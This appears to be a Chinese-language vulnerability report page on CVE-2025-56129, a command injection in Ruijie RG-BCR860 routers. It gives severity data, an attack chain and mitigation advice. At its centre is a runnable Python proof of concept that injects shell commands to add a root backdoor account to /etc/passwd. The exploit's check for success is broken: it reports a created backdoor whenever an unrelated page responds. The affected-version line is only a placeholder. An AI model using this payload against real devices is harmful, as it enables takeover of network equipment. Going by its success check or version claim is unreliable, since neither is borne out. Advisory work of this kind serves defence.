IPBUF安全漏洞报告
English
CVE-2025-56129 CVSS 8.8 高危

CVE-2025-56129: 锐捷RG-BCR RG-BCR860路由器OS命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56129
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie RG-BCR RG-BCR860

相关标签

OS命令注入命令执行锐捷RuijieRG-BCRRG-BCR860路由器漏洞CVE-2025-56129高危漏洞Web漏洞

漏洞概述

CVE-2025-56129是锐捷网络(Ruijie Networks)生产的RG-BCR RG-BCR860路由器中存在的一个高危操作系统命令注入漏洞。该漏洞存在于Web管理界面的诊断功能模块中,具体位于/usr/lib/lua/luci/controller/admin/diagnosis.lua文件中的action_diagnosis处理函数。攻击者可以通过向该端点发送精心构造的POST请求,在路由器上以高权限执行任意操作系统命令。由于该路由器通常用于企业网络环境,漏洞被利用可能导致整个网络基础设施被攻破,敏感数据泄露,甚至被用作进一步攻击企业内部网络的跳板。该漏洞的CVSS评分达到8.8,属于高危级别,对网络安全构成严重威胁。

技术细节

该漏洞是由于在处理用户输入时缺乏适当的输入验证和安全的命令执行方式导致的。在diagnosis.lua文件的action_diagnosis函数中,攻击者可以通过POST请求传递包含恶意命令的参数。由于应用程序直接将用户输入拼接到系统命令中执行,未进行任何过滤或转义处理,攻击者可以使用分号、反引号、管道符等shell特殊字符注入额外命令。典型的利用方式是使用分号分隔符或反引号来执行系统命令,例如通过ping或traceroute等诊断功能的参数注入命令。由于路由器以root权限运行Web服务,成功利用此漏洞的攻击者将获得完全的系统控制权限。攻击者可以利用此权限进行数据窃取、持久化控制、横向移动等恶意操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标路由器Ruijie RG-BCR RG-BCR860的Web管理界面访问地址
STEP 2
步骤2
攻击者获取有效的低权限认证凭据(可通过默认口令、暴力破解或其他方式获得)
STEP 3
步骤3
攻击者构造包含恶意命令的POST请求,目标是/admin/diagnosis/action_diagnosis端点
STEP 4
步骤4
在请求参数中注入OS命令,使用分号、反引号或管道符等特殊字符绕过原命令执行
STEP 5
步骤5
服务器端将恶意输入拼接到系统命令中执行,攻击者成功在路由器上执行任意命令
STEP 6
步骤6
攻击者利用获得的最高权限执行后续恶意操作,如创建后门账户、植入恶意软件、窃取数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-56129 PoC - Ruijie RG-BCR RG-BCR860 OS Command Injection # Target: /usr/lib/lua/luci/controller/admin/diagnosis.lua def exploit(target_ip, target_port=443): """ Exploit OS Command Injection in Ruijie RG-BCR RG-BCR860 Endpoint: /cgi-bin/luci/admin/diagnosis/action_diagnosis """ url = f"https://{target_ip}:{target_port}/cgi-bin/luci/admin/diagnosis/action_diagnosis" # Inject command to create a backdoor user payload = "; echo 'hacker:x:0:0::/tmp:/bin/sh' >> /etc/passwd; echo 'hacker:password' | chpasswd #" data = { "target": payload, "command": "ping" # Use ping as the base command } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, verify=False, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") # Verify exploitation verify_url = f"https://{target_ip}:{target_port}/cgi-bin/luci/admin/system/backup" verify_response = requests.get(verify_url, verify=False, timeout=10) if verify_response.status_code == 200: print("[+] Exploitation successful!") print("[+] Backdoor user created with UID 0 (root)") else: print("[-] Exploitation may have failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)

影响范围

Ruijie RG-BCR RG-BCR860 固件版本 <= 特定未修补版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)立即更改所有默认管理账户密码为强密码;2)限制对路由器Web管理界面的网络访问,仅允许受信任的管理IP访问;3)禁用路由器的远程管理功能或将其限制在必要的最小范围;4)启用并定期审查系统日志,监控异常的认证尝试和命令执行行为;5)考虑在路由器前端部署Web应用防火墙(WAF)过滤恶意请求参数;6)监控是否有针对该漏洞的扫描和利用尝试;7)评估是否需要暂时停止使用受影响的路由器功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表